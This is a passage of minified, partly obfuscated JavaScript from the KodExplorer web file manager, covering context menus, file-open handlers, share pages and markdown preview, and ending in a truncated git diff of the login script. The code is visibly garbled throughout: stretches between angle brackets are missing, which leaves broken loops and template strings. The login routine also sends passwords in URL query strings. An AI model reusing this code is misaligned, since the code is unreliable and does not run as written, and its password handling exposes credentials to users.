_0x41d3fd={};_0x41d3fd[_kod_0x46d5('0xef','&Tiv')]=null;_0x41d3fd[_kod_0x46d5('0xf0','A[bK')]=null;_0x41d3fd[_kod_0x46d5('0xf1','#bfE')]=_0x539b1c.accesskey;_0x41d3fd['className']=_0x539b1c.className;_0x41d3fd[_kod_0x46d5('0xf2','tepW')]=_0x539b1c.icon;_0x41d3fd['name']=_0x539b1c.name;_0x41d3fd['_name']=_0x1a2790;_0x41d3fd[_kod_0x46d5('0xf3','6D#W')]=_0x222928;if(_0x399c49&&(_0x399c49[_kod_0x46d5('0xf4','ZBag')]||(_0x399c49['items']={}),_0x399c49[_kod_0x46d5('0xa9','gz7W')][_0x464188]=_0x41d3fd),_0x48d85e[_kod_0x46d5('0xf5','a0nd')]!=typeof _0x539b1c&&(_0x592497['commands']||(_0x592497['commands']={}),_0x592497[_kod_0x46d5('0x82',')T(f')][_0x464188]=_0x41d3fd,_0xece64d['commands'][_0x464188]=_0x41d3fd,_0xece64d[_kod_0x46d5('0xf6','&Tiv')][_0x464188]=function(_0x25c351,_0x18cd3a){_0x539b1c[_kod_0x46d5('0xf7','$zeB')](_0x25c351,_0x18cd3a);},_0x539b1c['accesskey']&&(_0xece64d['accesskeys'][_0x539b1c[_kod_0x46d5('0xf8','Tg#C')]]=_0x41d3fd),_0x539b1c['items'])){var _0x25eddc=_0x48d85e[_kod_0x46d5('0xf9','6D#W')](_0x464188,'-first-item'),_0x336e55=_0x48d85e[_kod_0x46d5('0xfa','Yv8t')](_0x48d85e[_kod_0x46d5('0xfb','ZNFv')],_0x464188)+_0x48d85e[_kod_0x46d5('0xfc','a0nd')]+_0x25eddc+'\x22>\x09\x09\x09\x09\x09';$(_0x336e55)[_kod_0x46d5('0xfd','@*22')](_0x222928),_0x41d3fd[_kod_0x46d5('0xfe','h*gi')]=_0x222928['find'](_0x48d85e[_kod_0x46d5('0xff','@*22')](_kod_0x46d5('0x100','KCJX'),_0x464188)),_0x41d3fd['callback']=null,_0x41d3fd[_kod_0x46d5('0x101',')Zq2')]=_0x41d3fd['$node'],_0x41d3fd[_kod_0x46d5('0x102','FeGc')]='sub',_0x222928[_kod_0x46d5('0x103',']y0&')](_kod_0x46d5('0x104','W[*g'),_0x41d3fd)[_kod_0x46d5('0x105','@*22')]('context-menu-submenu'),_0x222928[_kod_0x46d5('0x106','L)pg')](_kod_0x46d5('0x107','amMN')+_0x464188)[_kod_0x46d5('0x108','&Tiv')]({'contextMenuRoot':_0xece64d,'contextMenu':_0x41d3fd}),_0x222928[_kod_0x46d5('0x109','ZNFv')](_0x48d85e[_kod_0x46d5('0x10a','FeGc')]+_0x25eddc)['data']({'contextMenuRoot':_0xece64d,'contextMenuKey':_0x25eddc,'contextMenu':_0x41d3fd}),_0x41d3fd[_kod_0x46d5('0x59','CpJI')]||(_0x41d3fd['items']={}),_0x41d3fd[_kod_0x46d5('0x10b',')b(p')][_0x25eddc]={'$input':null,'$label':null,'icon':'','name':'','_name':'','$node':_0x222928[_kod_0x46d5('0x10c',')b(p')](_0x48d85e[_kod_0x46d5('0x10d','#I7Z')](_kod_0x46d5('0x10e','TbL]'),_0x25eddc))},_0x1ea789(_0x41d3fd,_0x539b1c[_kod_0x46d5('0x10f',')Cl!')],_0x48d85e[_kod_0x46d5('0x110','6D#W')]('.',_0x25eddc));}});};_0x326a5b[_kod_0x46d5('0x111','@*22')](_0x1ea789,_0xece64d,_0x30fcdf,_0x2a10cb,_0x44a4a6);}};var _0x31f62f=function(){var _0x4feb74={};_0x4feb74[_kod_0x46d5('0x112','Ghlq')]=_0x326a5b.kOkyr;_0x4feb74['KeOgZ']=_kod_0x46d5('0x113','&q8#');_0x4feb74[_kod_0x46d5('0x114','(26G')]=_0x326a5b.CavDC;_0x4feb74[_kod_0x46d5('0x115','&Tiv')]=function(_0x167fc8,_0x4fc08f){return _0x167fc8+_0x4fc08f;};_0x4feb74['UKIdZ']=_kod_0x46d5('0x116','(i@T');_0x4feb74['kiRXb']=_0x326a5b.IXDxR;_0x4feb74['DSREq']=_0x326a5b.mIDCD;return $(_kod_0x46d5('0x117','o$)d'))['appendTo'](_kod_0x46d5('0x118','W[*g')),_kod_0x46d5('0x119','A[bK')!=typeof $[_kod_0x46d5('0x104','W[*g')]?console[_kod_0x46d5('0x11a','TbL]')](_kod_0x46d5('0x11b',')b(p')):($['contextMenu']({'zIndex':0x270f,'selector':_0x326a5b[_kod_0x46d5('0x11c','(26G')],'items':{'dialog-quit':{'name':LNG[_kod_0x46d5('0x11d',')T(f')],'className':_kod_0x46d5('0x11e','TbL]'),'icon':_0x326a5b['CDuvI'],'accesskey':'q'},'dialog-max':{'name':LNG['dialog_max'],'className':_kod_0x46d5('0x11f','srTF'),'icon':'resize-full','accesskey':'a'},'dialog-min':{'name':LNG[_kod_0x46d5('0x120','$zeB')],'className':_kod_0x46d5('0x121','ZBag'),'icon':_kod_0x46d5('0x122','tepW'),'accesskey':'i'},'sep1':_0x326a5b[_kod_0x46d5('0x123','gz7W')],'refresh':{'name':LNG['refresh'],'className':_0x326a5b[_kod_0x46d5('0x124','Svi#')],'icon':_kod_0x46d5('0x125','KCJX'),'accesskey':'r'},'open-window':{'name':LNG['open_ie'],'className':'open-window','icon':_kod_0x46d5('0x126','E9Jc'),'accesskey':'b'},'qrcode':{'name':LNG['qrcode'],'className':_0x326a5b[_kod_0x46d5('0x127','5$Bm')],'icon':_kod_0x46d5('0x128','A[bK'),'accesskey':'c'}},'callback':function(_0x2f5e05,_0xfc62a6){if(_kod_0x46d5('0x129','Ghlq')==='LTSHb'){var _0x31f62f=_0xfc62a6[_kod_0x46d5('0x12a',']y0&')]['attr']('id'),_0x2476f3=$[_kod_0x46d5('0x12b','h*gi')][_kod_0x46d5('0x12c',')Zq2')][_0x31f62f];switch(_0x2f5e05){case _0x4feb74[_kod_0x46d5('0x12d','&Tiv')]:_0x2476f3['close']();break;case _0x4feb74['DSREq']:_0x2476f3['_clickMin'](!0x1);break;case _kod_0x46d5('0x12e','Ghlq'):_0x2476f3[_kod_0x46d5('0x12f','tepW')]();break;case _kod_0x46d5('0x130','Svi#'):_0x2476f3[_kod_0x46d5('0x131','J]Hl')]();break;case _kod_0x46d5('0x132','gz7W'):_0x2476f3[_kod_0x46d5('0x133','srTF')]();break;case'qrcode':core['qrcode'](_0x2476f3['DOM'][_kod_0x46d5('0x134','ZNFv')]['find']('iframe')['attr'](_kod_0x46d5('0x135','gz7W')));}}else{var _0x56b869=_0x2f5e05[_kod_0x46d5('0x136','W[*g')]('id'),_0x5b4c4c=$[_kod_0x46d5('0x137','$zeB')][_kod_0x46d5('0x138','TbL]')][_0x56b869],_0x38f4e8=_0x4feb74['FMghZ'],_0x39a019=_0x4feb74[_kod_0x46d5('0x139','o$)d')];_0x5b4c4c['hasFrame']()?_0xfc62a6[_kod_0x46d5('0x13a',')Zq2')](_0x39a019)[_kod_0x46d5('0x13b',')b(p')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x13c','@*22')](_0x39a019)[_kod_0x46d5('0x13d',')b(p')](_0x38f4e8);var _0x3bf925=_0x4feb74[_kod_0x46d5('0x13e','W[*g')];$(_0x4feb74[_kod_0x46d5('0x13f','Tg#C')]('.',_0x56b869))[_kod_0x46d5('0x140','jcUX')](_0x4feb74[_kod_0x46d5('0x141','Svi#')])?_0xfc62a6['find'](_0x3bf925)[_kod_0x46d5('0x142',']y0&')](_0x38f4e8):_0xfc62a6[_kod_0x46d5('0x143','TbL]')](_0x3bf925)['addClass'](_0x38f4e8);}}}),void $(_0x326a5b['TMUVT'])['die'](_kod_0x46d5('0x144','Ghlq'))[_kod_0x46d5('0x145','x*z*')](_0x326a5b[_kod_0x46d5('0x146','L)pg')],function(_0x1cd133){var _0xc14c8e=$(this)[_kod_0x46d5('0x147',')Zq2')]();_0xc14c8e[_kod_0x46d5('0x148','(26G')]+=_0x326a5b[_kod_0x46d5('0x149','&q8#')]($,this)[_kod_0x46d5('0x14a','h*gi')](),_0x326a5b[_kod_0x46d5('0x14b','E9Jc')]($,this)[_kod_0x46d5('0x14c','tepW')]()[_kod_0x46d5('0x14d','!BFl')]()[_kod_0x46d5('0x14e','FeGc')]({'x':_0x1cd133['pageX'],'y':_0xc14c8e[_kod_0x46d5('0x14f','Yv8t')]});})[_kod_0x46d5('0x150','jcUX')]('dblclick')['live']('dblclick',function(_0x10b44d){var _0xc14c8e=_0x326a5b['hHlrD']($,this)[_kod_0x46d5('0x151','ZNFv')]()[_kod_0x46d5('0x152','x*z*')]()[_kod_0x46d5('0x153','CpJI')]('id'),_0x31f62f=$[_kod_0x46d5('0x154','Yv8t')][_kod_0x46d5('0x138','TbL]')][_0xc14c8e];_0x31f62f[_kod_0x46d5('0x155','tepW')](),$[_kod_0x46d5('0x156','5$Bm')]['hidden']();}));};Hook['bind'](_kod_0x46d5('0x157','@*22'),function(_0x3dd82b,_0x19fcec){var _0x31f62f=_0x3dd82b[_kod_0x46d5('0x158','ZNFv')]('id'),_0x256330=$[_kod_0x46d5('0x159',')T(f')]['list'][_0x31f62f],_0x4e167c=_kod_0x46d5('0x15a','KaAL'),_0x344f7c=_kod_0x46d5('0x15b',']y0&');_0x256330[_kod_0x46d5('0x15c','!BFl')]()?_0x19fcec[_kod_0x46d5('0x15d','5$Bm')](_0x344f7c)['removeClass'](_0x4e167c):_0x19fcec['find'](_0x344f7c)[_kod_0x46d5('0x15e',')Zq2')](_0x4e167c);var _0x41030f='.dialog-min,.dialog-max';$('.'+_0x31f62f)[_kod_0x46d5('0x15f','!BFl')](_0x326a5b[_kod_0x46d5('0x160',')T(f')])?_0x19fcec[_kod_0x46d5('0x161','coI9')](_0x41030f)[_kod_0x46d5('0x162','oApp')](_0x4e167c):_0x19fcec['find'](_0x41030f)['addClass'](_0x4e167c);}),_0x31f62f();});;define("app/app/appBase",[],function(a,b){var c={},d={},e={},f=!1,g=function(a){a.title=void 0==a.title?a.name:a.title,void 0==a.name&&(a.name=UUID(),a.hidden=!0),c[a.name]=a,a.ext||(a.ext="");var b=a.ext.split(",");c[a.name].extArr=b,"undefined"!=typeof a.sort?a.sort=parseInt(a.sort):a.sort=0;for(var e=0;e1&&d[f].sort(function(a,b){return a.sort
          '+LNG.unknow_file_tips+"
          "+b+'
          1.'+h+d+'">'+LNG["Explorer.UI.openWith"]+'
          2.'+h+e+'">'+LNG["Explorer.UI.openWithText"]+'
          3.'+h+f+'">'+LNG.unknow_file_download+'
          '+h+g+'">'+LNG.PluginCenter+""+LNG.unknow_plugin_search+"
          ";$.dialog({fixed:!0,icon:"warning",title:LNG.unknow_file_title,padding:"20px 50px",content:i,cancel:!0}),$(".unknow-file a").unbind("click").bind("click",function(a){return $(this).parents(".artDialog").data("artDialog").close(),stopPP(a)})},kodApp.add({name:"download",title:LNG.download,hidden:!0,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=a;"http"!=a.substr(0,4)&&(d=G.appHost+"explorer/fileDownload&accessToken="+G.accessToken+"&path="+urlEncode(a),"undefined"!=typeof G.sharePage&&(d=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),$.dialog({icon:"succeed",title:!1,time:1.5,content:LNG.download_ready+"..."}),isWap()?window.open(d):$('').appendTo("body")}}}),kodApp.download=function(a){kodApp.open(a,"","download")},kodApp.openWindow=function(a){kodApp.open(a,"","browserOpen")},kodApp.add({name:"browserOpen",title:LNG.open_ie,sort:-100,icon:"x-item-file x-html",callback:function(a,b){if(c(a)){var d=core.path2url(a);isWap()?window.location.href=d:window.open(d)}}}),kodApp.add({name:"swfPlayer",title:"Flash Player",ext:"swf",icon:"x-item-file x-swf",callback:function(a,b){$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"75%",height:"65%",padding:0,content:core.createFlash(core.path2url(a))})}}),kodApp.add({name:"webLink",title:"webLink",ext:"url,webloc",sort:10,icon:"x-item-file x-html",callback:function(a,b){core.fileGet(a,function(c){if("url"==b){var d=c.match(/URL=(.*)/);if(d.length>=2)return window.open(d[1])}else if("webloc"==b)try{var e=$($.parseXML(c)),f=e.find("string").text();return void window.open(f)}catch(g){}kodApp.open(a,b,"editor")})}}),kodApp.add({name:"htmlView",title:LNG["Plugin.default.htmlView"],ext:"htm,html,shtml",sort:10,icon:"x-item-file x-html",callback:function(a,b){var c=core.path2url(a);core.openDialog(c,core.icon("html"),core.pathThis(a))}}),kodApp.add({name:"pdfView",title:"PDF Simple",ext:"pdf",sort:0,icon:"x-item-file x-pdf",callback:function(a,b){var c=core.path2url(a),d="pdf"+UUID(),e='";$.dialog({resize:!0,fixed:!0,ico:core.icon(b),title:core.pathThis(a),width:"80%",height:"75%",padding:0,content:e}),PDFObject.embed(c,"#"+d)}}),kodApp.add({name:"oexeOpen",title:LNG["kodApp.oexe.open"],ext:"oexe",sort:100,icon:" x-item-file x-oexe",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),core.openApp(c)})}}),kodApp.add({name:"oexeEdit",title:LNG["kodApp.oexe.edit"],ext:"oexe",sort:50,icon:"icon-edit ",callback:function(a,b){core.fileGet(a,function(b){var c=jsonDecode(b);c.name=core.pathThis(a),c.path=a,ui.path.pathOperate.appEdit(c)})}});var d={createApp:{name:LNG.app_create,className:"createApp newfile",icon:"icon-puzzle-piece x-item-file x-oexe",callback:function(a,b){ui.path.pathOperate.appEdit(0,0,"userAdd")}}};$.contextMenu.menuAdd(d,".menu-body-main",".app-install"),$.contextMenu.menuAdd(d,".toolbar-path-more",".app-install"),$.contextMenu.menuAdd(d,".bodymain",".app-install"),Hook.bind("rightMenu.show",function(a,b,c){var d=[".menu-folder",".menu-file",".menu-tree-folder",".menu-tree-file",".menu-tree-folder-fav"];if(c.find(".context-menu-submenu").fadeOut(0).delay(0).fadeIn(0),c.removeClass("menu-auto-fit"),h(b),c.inScreen()||c.addClass("menu-auto-fit"),".menu-body-main"==a){var e=c.find(".set-file-icon-size.context-menu-submenu");"icon"==G.userConfig.listType?e.removeClass("hidden"):e.addClass("hidden")}if(_.include(d,a)){var f="disabled",g=".cute,.rname,.remove",i=".open,.open-text,.down,.share,.copy,.cute,.rname,.remove,.open-browser,.search,.more-action";b.hasClass("file-not-readable")?c.find(i).addClass(f):c.find(i).removeClass(f),b.hasClass("file-not-writeable")?c.find(g).addClass(f):c.find(g).removeClass(f)}}),Hook.bind("rightMenu.show.menu-body-main",function(a,b){var c=".upload,.past,.newfolder,.newfile",d="disabled";_.get(G,"jsonData.info.canUpload")?b.find(c).removeClass(d):b.find(c).addClass(d)}),Hook.bind("rightMenu.show.menu-file",function(a,b){if($(".context-menu-active").hasClass("menu-tree-file"))var c=ui.tree.makeParam();else var c=ui.path.makeParam();var d=core.pathExt(c.path),e="hidden";inArray(["jpg","jpeg","png"],d)?b.find(".set-background").removeClass(e):b.find(".set-background").addClass(e)});var e=function(){var a=".close-item,.refresh,.newfile,.past,.info",b=".open-browser",c=".explorer,.create-project,.open-project",d=".close-item,.newfile,.refresh,.past,.down,.copy,.cute,.remove,.more-action,.clone,.info,.zip,.zip-zip,.zip-tar,.zip-tgz",e=".newfile,.cute,.past,.rname,.zip,.remove,.clone,.create-link-home,.create-link,.create-project",f=$(".menu-tool-path"),g="hidden",h=ui.fileLight.fileListSelect();f.find(".context-menu-item").addClass(g),0==h.length?f.find(a).removeClass(g):1==h.length?(f.find(".context-menu-item").removeClass(g),"folder"==ui.fileLight.type(h)?f.find(b).addClass(g):f.find(c).addClass(g)):h.length>1&&f.find(d).removeClass(g),G.jsonData&&G.jsonData.info&&G.jsonData.info.canUpload===!1&&f.find(e).filter(":not(."+g+")").addClass(g)},f=function(){var a=ui.fileLight.fileListSelect(),b=$(".kod-toolbar-path .select-button-show"),c="hidden";G.jsonData&&G.jsonData.info&&(0==a.length||G.jsonData.info.pathType==G.KOD_USER_SHARE&&G.jsonData.info.id!=G.userID?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=share]").removeClass(c),b.find("[data-action=rname]").removeClass(c),a.length>1&&(b.find("[data-action=share]").addClass(c),b.find("[data-action=rname]").addClass(c))))},g=function(){var a=_.get(G,"jsonData.info.pathType"),b=$(".kod-toolbar-share .select-button-show-share"),c=ui.fileLight.fileListSelect(),d="hidden";a!=G.KOD_USER_SHARE||0==c.length?b.addClass("hidden"):(b.removeClass("hidden"),b.find("[data-action=shareEdit]").removeClass(d),b.find("[data-action=shareOpenWindow]").removeClass(d),c.length>1&&(b.find("[data-action=shareEdit]").addClass(d),b.find("[data-action=shareOpenWindow]").addClass(d)))};Hook.bind("explorer.fileSelect.init",function(){ui.fileLight.listNumberSet()}),Hook.bind("explorer.fileSelect.change",function(){e(),f(),g(),ui.fileLight.selectNumSet()}),Hook.bind("rightMenu.show.toolbar-path-more",function(){e()}),Hook.bind("rightMenu.initFinished",function(){if(1!=G.isRoot){var a="hidden",b={"explorer.fileDownload":"@.down,@.download,@.share,@.open-text,[data-action=download]","explorer.search":"@.search","explorer.mkfile":"@.newfile,[data-action=newfile],@.past,@.clone","explorer.mkdir":"@.newfolder,[data-action=newfolder]","explorer.pathRname":"@.rname,[data-action=rname]","explorer.pathDelete":"@.remove,@.remove + .context-menu-separator,[data-action=remove]","explorer.pathCopy":"@.cute,@.copy,[data-action=cute],[data-action=copy]","explorer.fileUpload":"@.upload,@.upload-more,[data-action=upload],[data-action=upload-more]","explorer.unzip":"@.unzip","explorer.zip":"@.zip","userShare.set":"@.share,[data-action=share]"};setTimeout(function(){for(var c in b){var d=replaceAll(b[c],"@",".context-menu-list ");core.authCheck(c)||$(d).addClass(a)}},100),core.authCheck("explorer.fileDownload")||(kodApp.remove("browserOpen"),kodApp.remove("htmlView"))}}),Hook.bind("kodApp.callback.before",function(a,b,c){return-1==$.inArray(a.name,["browserOpen","htmlView","zipView"])||core.authCheckGroup("explorer.fileDownload",b)?void 0:(Tips.tips(LNG.no_permission_action,"error"),!0)});var h=function(a){return},i=function(){if(G.authGroupRole||(G.authGroupRole={}),_.get(G,"jsonData.info.pathType")==G.KOD_GROUP_PATH){var a=_.get(G,"jsonData.info.id");G.authGroupRole[a]=_.get(G,"jsonData.info.groupRole.authArr")}h()};Hook.bind("explorer.path.ajaxLive",i)});;define("app/common/tpl/copyright.html",[],'\n');;define("app/common/tpl/themeDIY.html",[],"@media screen and (max-width:100000px) {\n body .full-background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blurSize= (bgBlur==0?0:10) }}{{/if}}\n body .full-background:before{\n -webkit-filter: blur({{blurSize}}px);\n -moz-filter: blur({{blurSize}}px);\n -ms-filter: blur({{blurSize}}px);\n filter: blur({{blurSize}}px);\n }\n {{if bgType == 'image'}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left,\n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background-image:url({{bgImage}});\n }\n body .aui-state-focus .aui-title,body .aui-title{\n background-size:100%;\n }\n {{else}}\n body .full-background,\n body .full-background:before,\n body #body .menu-left, \n body #body .app-menu-left,\n body .aui-buttons,\n body .aui-state-focus .aui-title,body .aui-title{\n background:{{endColor}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{startColor}}', endColorstr='{{endColor}}');\n background-image: -webkit-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -moz-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -o-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: -ms-linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n background-image: linear-gradient({{colorRotate}}deg, {{startColor}}, {{endColor}});\n }\n {{/if}}\n}\n");;define("app/shareCommon/topbar",[],function(a,b){var c=function(){var a=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid,b=G.appHost+"share/fileProxy&user="+G.user+"&sid="+G.sid;"file"!=G.shareInfo.type&&"undefined"!=typeof G.path?(b+="&path="+G.path,a+="&path="+G.path,$(".btn.button-my-share").hide(),$(".share-info-user .btn-group").show()):($(".btn.button-my-share").show(),$(".share-info-user .btn-group").hide()),"file"==G.shareInfo.type&&($(".btn.button-my-share").hide(),$(".share-info-user .btn-group").show()),"1"==G.shareInfo.notDownload&&(a="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share-info-user").removeClass("hidden"),$(".btn-download").attr("href",a);var c=date("Y/m/d H:i:s",G.shareInfo.mtime);$(".topbar .time").html(c),"file"==G.shareInfo.type&&$(".topbar .size").html(G.shareInfo.size),$(".topbar .info").html(LNG.share_view_num+G.shareInfo.numView+" "+LNG.share_download_num+G.shareInfo.numDownload),$("#button_share").die("click").live("click",function(){share()}),"A"!=core.versionType&&$(".version_vip_free").remove(),core.isApp("explorer")&&$(".btn-download").hide().attr("href","").remove()};return{init:c}});;define("app/src/shareIndex/fileShow",["../edit/previewMarkdownParse"],function(a,b){var c="share/fileDownload&user="+G.user+"&sid="+G.sid,d="share/fileProxy&user="+G.user+"&sid="+G.sid,e=G.KOD_USER_SHARE+":"+G.user+"/";G.shareInfo&&G.shareInfo.name&&(e+=G.shareInfo.name+G.path);var f=function(){c=G.appHost+c,d=G.appHost+d,g(),"undefined"!=typeof G.shareInfo?(G.path=htmlDecode(G.path),G.shareInfo.path=htmlDecode(G.shareInfo.path),"file"!=G.shareInfo.type&&(d+="&path="+urlEncode(G.path),c+="&path="+G.path),"1"==G.shareInfo.notDownload&&(c="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);",$.addStyle(".share-info-user .btn-download,.share-page-main .btn-download{display:none;}")),topbar.init(),kodApp.open(e,core.pathExt(G.shareInfo.path)),h()):$(".share-info").addClass("hidden")},g=function(){kodApp.clearOpenUser(),kodApp.openUnknow=i,kodApp.add({title:"sharePageImage",ext:"jpg,jpeg,png,bmp,gif,ico,svg,cur,webp",sort:1e3,callback:function(a){var b=a;0!=a.indexOf("http")&&(b=d);var c='';$(".content-box").addClass("show-image").append(c)}}),kodApp.add({ext:"md",sort:1e4,callback:l}),kodApp.add({ext:kodApp.appSupportCheck("aceEditor"),sort:1e3,callback:function(){a.async("lib/ace/src-min-noconflict/ace",function(){a.async(["lib/ace/src-min-noconflict/ext-language_tools","lib/ace/src-min-noconflict/ext-modelist"],function(){k()})})}})},h=function(){if($(".artDialog").exists()){var a=$(".artDialog").data().artDialog;if(a.hasFrame()){$(".artDialog").addClass("hidden");var b=a.DOM.wrap.find("iframe").attr("src");a.close();var c='';$(".frame-main").append(c),$(".content-box").addClass("hidden")}}},i=function(){var a=core.pathExt(G.shareInfo.path),b=$(".bindary-box");b.removeClass("hidden"),b.find(".name").html(htmlEncode(G.shareInfo.name)),b.find(".ico").html(core.icon(a)),b.find(".btn-download").attr("href",c);var d=date("Y/m/d h:i",G.shareInfo.mtime);b.find(".share-time").html(d),b.find(".size span").html(G.shareInfo.size),$("body").addClass("can-select"),$(".frame-main .content-box").addClass("hidden")},j=function(a){for(var b=[],c=0;c";return void $(".content-box").addClass("show-code").append(d)}var e='
          '+j(b)+"
          ";$(".content-box").addClass("show-code").append(e);var f=ace.edit("ace-text-show");f.setTheme("ace/theme/tomorrow"),f.setReadOnly(!0),f.setShowPrintMargin(!1),f.getSession().setMode(c),f.getSession().setTabSize(4),f.getSession().setUseWrapMode(1),f.setFontSize(15)})},l=function(){var b=a("../edit/previewMarkdownParse");a.async("lib/markdown/markdown-it.min",function(){var a=window.markdownit({html:!0,breaks:!0,linkify:!0});core.fileGet(G.path,function(c){var d=a.render(c),e=$(".content-box");e.addClass("markdown-preview can-select").append(d),b.bindBigView(e),b.menu(e),b.code(e),b.math(e),b.flow(e)})})};return{init:f}});;define("app/src/edit/previewMarkdownParse",[],function(a,b){var c={},d=[],e=function(a,b){var e=c,f=d,g=100;if(void 0==b){if(e[a]){var h=lodash.findIndex(f,{key:a});return f[h]={key:a,time:timeFloat()},e[a]}return!1}if(lodash.size(e)>=g){for(var i=lodash.sortBy(f,"time").reverse(),j=lodash.map(i,"key"),k=j.length-1;k>g-1;k--){var l=j[k];delete e[l]}f=i.slice(0,g-1)}return e[a]=b,f.push({key:a,time:timeFloat()}),!0},f=function(a){var b="";return a.find("h1,h2,h3,h4,h5,h6").each(function(){var a=$(this).text(),c=$(this).text().replace(/\s+/g,"-"),d="markdown-menu-"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link")?(a=ltrim(a,"#"),c=ltrim(c,"#")):($(this).attr("data-link","#"+c),$('').prependTo($(this))),b+='
        • '+a+"
        • "}),b="
            "+b+"
          "},g=function(a){a.find("a").attr("target","_blank");var b="

          [TOC]

          ";f(a);-1!=a.html().indexOf(b)&&(html=a.html().replace(b,f(a)),a.html(html))},h=function(b,c){a.async("lib/markdown/highlight.min",function(){b.find("pre code").each(function(a,b){hljs.highlightBlock(b)}),"function"==typeof c&&c()})},i=function(b,c){a.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(b[0],{delimiters:[{left:"$$",right:"$$",display:!0},{left:"\\[",right:"\\]",display:!0},{left:"$",right:"$",display:!1},{left:"\\(",right:"\\)",display:!1}]}),$(".katex-display").parent().addClass("markdown-latex"),$(b).find(".language-latex,.language-math,.language-katex").each(function(){try{var a=$(this).text(),b=md5(a),c=e(b);if(c)return $(c).clone().insertBefore($(this).parent()),void $(this).parent().remove();var d=katex.renderToString(a);if("string"!=typeof d)return;var f=$('
          '+d+"
          ");f.insertBefore($(this).parent()),$(this).parent().remove(),e(b,f.clone())}catch(g){}}),"function"==typeof c&&c()})},j=function(b,c){a.async(["lib/markdown/mermaid/mermaid.min.js","lib/markdown/mermaid/mermaid.min.css"],function(){$(b).find("pre code").each(function(a,b){var c=ltrim($(this).text()),d=md5(c),f=e(d);if(f)return $(f).clone().insertBefore($(this).parent()),void $(this).parent().remove();if($(this).hasClass("language-mermaid")||$(this).hasClass("language-sequence")||$(this).hasClass("language-seq")||$(this).hasClass("language-gantt")||0==c.indexOf("gantt")||0==c.indexOf("sequenceDiagram")||0==c.indexOf("classDiagram")||0==c.indexOf("gitGraph")||0==c.indexOf("graph")){($(this).hasClass("language-sequence")||$(this).hasClass("language-seq"))&&0!=c.indexOf("sequenceDiagram")&&(c="sequenceDiagram\n"+c),$(this).hasClass("language-gantt")&&0!=c.indexOf("gantt")&&(c="gantt\n"+c);var g=$('
          '+c+"
          ").insertBefore($(this).parent());try{mermaid.init(void 0,g),$(this).parent().remove(),e(d,g.clone())}catch(h){}}}),"function"==typeof c&&c()})},k=function(){var a=$("image-view-big");if(!a.exists()){a=$('').appendTo("body");var b=".image-view-big,.markdown-flow,.markdown-preview img{cursor:pointer;} .image-view-big .label{color: #444;} .image-view-big{ position:fixed;left:0;top:0;right:0;bottom:0;z-index: 99999; background:rgba(255,255,255,0.95);text-align:center; } .image-view-big img{ margin: auto;padding: 2px; box-shadow: 0 0 20px #555; height: auto;max-width: 100%;vertical-align: middle; position: absolute; top: 0;bottom: 0;left: 0;right: 0; } .image-view-big .svg{background:#fff;}";$.addStyle(b)}var c=function(b){b?a.removeClass("hidden").hide().fadeIn(100):a.fadeOut(100,function(){a.html("").addClass("hidden")})};$(".markdown-flow").die("click").live("click",function(){a.html($(this).html()),c(!0)}),$(".markdown-preview img").die("click").live("click",function(){$(this).clone().appendTo(a),c(!0)}),$(".image-view-big").die("click").live("click",function(){c(!1)})};return{getMenu:f,bindBigView:k,menu:g,code:h,math:i,flow:j}}); \ No newline at end of file diff --git a/static/js/app/src/user/main.js b/static/js/app/src/user/main.js index 4b31f35..6ef0a91 100755 --- a/static/js/app/src/user/main.js +++ b/static/js/app/src/user/main.js @@ -1,4 +1,2 @@ -/*! power by kodcloud ver4.25(2017-12-04) [build 1512365183740] */ -define("app/src/user/main",["lib/jquery-lib","lib/util","lib/artDialog/jquery-artDialog","../../common/core","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html"],function(e){e("lib/jquery-lib"),e("lib/util"),e("lib/artDialog/jquery-artDialog"),core=e("../../common/core"),$(document).ready(function(){$(".init-loading").fadeOut(450).addClass("pop_fadeout"),$(".loginbox [disabled]").removeAttr("disabled"),core.init(),LocalData.del("thisPath");var e=function(){$(":focus").is("input")||0==$("#username").length||$("#username").focus()},t=function(){var t=G.appHost+"user/checkCode&t="+UUID();$(".check-code img").attr("src",t),$(".check-code").val("").focus(),e()},a=function(e){var a=$("#username").val(),i=$("#password").val(),n=$("input[name=rememberPassword]").attr("checked")?1:0,o=G.appHost+"user/loginSubmit&name="+urlEncode(a)+"&checkCode="+$("input.check-code").val()+"&password="+urlEncode(i)+"&rememberPassword="+n+"&isAjax=1";return $.ajax({dataType:"json",url:o,error:function(e,t,a){setTimeout(function(){core.ajaxError(e,t,a)},600)},success:function(e){if("ok"!=e.data&&($(".msg").show().html(e.data),Tips.tips(e.data,!1)),e.code){var a=G.appRoot;void 0!=$.getUrlParam("link")&&(a=urlDecode($.getUrlParam("link"))),e.info&&(a=e.info),window.location.href=a}else $(".loginbox").shake(2,30,60),t(),$("#username").focus()}}),stopPP(e),!1};isWap()||e(),$(".check-code img").bind("click",t),$("form").submit(a),$("#username,#password,input.check-code").keyEnter(a),$(".forget-password").bind("click",function(){$.dialog.alert(LNG.forget_password_tips)});var i=$(".admin-password input"),n=$(".admin-password-repeat input");i.keyEnter(function(){$(".start").click()}),n.keyEnter(function(){$(".start").click()}),$(".start").bind("click",function(){var 